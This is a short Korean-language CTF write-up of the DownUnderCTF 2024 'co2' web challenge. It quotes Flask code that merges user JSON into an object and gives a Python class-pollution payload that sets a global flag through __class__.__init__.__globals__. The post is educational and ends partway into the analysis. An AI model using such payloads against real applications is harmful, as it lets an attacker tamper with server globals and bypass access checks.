[DUCTF] co2 풀이

CTF/복기

[DUCTF] co2 풀이

copyc4t 2025. 1. 18. 00:59

[2024 DownUnderCTF]

Date : held on July 5 to 7, 2024

CTF 때 못풀고 아쉬워서 묵혀놨다가, 드디어 정신차리고 CTF 복기

요약 : 주석을 보고 python merge에서 발생하는 함수의 취약점 이용 Class pollution(python's prototype pollution)

{"__class__":{"__init__":{"__globals__":{"flag":"true"}}}}

1. 분석

input 요소가 존재하는 endpoint

/register

/login

/create_post

/feedback

입력 가능한 요소 중, /feedback에서 주석을 줌
merge 함수를 사용하여 두 객체를 결합하겠다 선언

@app.route("/save_feedback", methods=["POST"])
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it
    #and it *should* create those attribs for the object.
    #이 주석은 data에서 가져온 정보를 feedback 객체의 속성으로 동적으로 저장하기 위해
    #merge 함수를 사용하여 두 객체를 결합할 것이라는 내용을 설명합니다. 
    #즉, data의 내용이 feedback 객체의 속성으로 변환되어 저장될 것이라는 의미입니다.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

@app.route("/get_flag")
@login_required
def get_flag():
    if flag == "true":
        return "DUCTF{NOT_THE_REAL_FLAG}"
    else:
        return "Nope"

→ python merge 함수 취약점 검색

→ Prototye-Pollution 취약점을 이용하는건지 알아봐야 함